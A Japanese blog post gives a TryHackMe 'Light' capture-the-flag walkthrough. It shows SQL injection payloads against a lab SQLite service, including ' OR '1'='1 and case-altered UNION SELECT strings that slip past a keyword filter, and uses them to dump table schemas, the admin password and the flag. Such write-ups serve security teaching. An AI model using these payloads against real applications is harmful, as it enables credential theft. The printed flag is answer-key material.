0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Light Writeup

Last updated at Posted at 2025-03-29

はじめに

今回は難易度がEasyである「Light」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。

環境

環境 IPアドレス
攻撃マシン 10.8.59.93
ターゲットマシン 10.10.34.197

Task1 Welcome

説明にあった以下コマンドを実行し、データベースへアクセスします。
続いてユーザ名にsmokeyと入力すると、パスワードが返ってきました。

└─$ nc 10.10.34.197 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL

次にポートスキャンを行います。

└─$ nmap -Pn -T4 10.10.34.197
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-28 20:23 EDT
Nmap scan report for 10.10.34.197
Host is up (0.25s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds

ssh接続が可能なので、先ほど確認したユーザ名とパスワードを使用しましたがログインできず。

再度データベースへアクセスします。
推測レベルにはなりますが、以下辺りのクエリが実行されると仮定し、SQLインジェクションを試してみます。

select パスワード from テーブル名 where username = '入力値'
Welcome to the Light database!
Please enter your username: ' OR '1'='1
Password: tF8tj2o94WE4LKC

パスワードが返された為、SQLインジェクションが有効であると分かりましたが、どのユーザであるか不明なので引き続き調査を続行します。

UNIONコマンドを用いてテーブル名を調べてみます。「UNION」や「SELECT」はそのままだと使用できなさそうであった為、頭文字のみ大文字に変更します。

Please enter your username: ' Union Select count(name) From sqlite_master '
Password: 2
Please enter your username: ' Union Select name From sqlite_master where name'
Password: admintable
Please enter your username: ' Union Select name From sqlite_master where name != 'admintable
Password: usertable

2つのテーブル情報を確認できました。これらをもとにさらに調べてみます。

What is the admin username?

admintableテーブルのカラム名を確認します。

Please enter your username: ' Union Select sql From sqlite_master WHERE name='admintable
Password: CREATE TABLE admintable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER)

2つのカラムを確認することができたので、まずユーザ名を確認します。

Please enter your username: ' Union Select count(username) From admintable '
Password: 2
Please enter your username: ' Union Select username From admintable '
Password: TryHackMeAdmin

2つのユーザがあること、かつ管理者のユーザ名を確認することができました。

もう片方のユーザ名は「flag」のようでした。

Please enter your username: ' Union Select username From admintable where username != 'TryHackMeAdmin  
Password: flag

What is the password to the username mentioned in question 1?

前述で確認したユーザ名を指定してパスワードを確認します。

Please enter your username: ' Union Select password From admintable where username = 'TryHackMeAdmin  
Password: mamZtAuMlrsEy5bp6q17

What is the flag?

「flag」ユーザのパスワードを確認した所、フラグとなったのでこちらが回答になります。

Please enter your username: ' Union Select password From admintable where username = 'flag 
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}

さいごに

以上となります。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?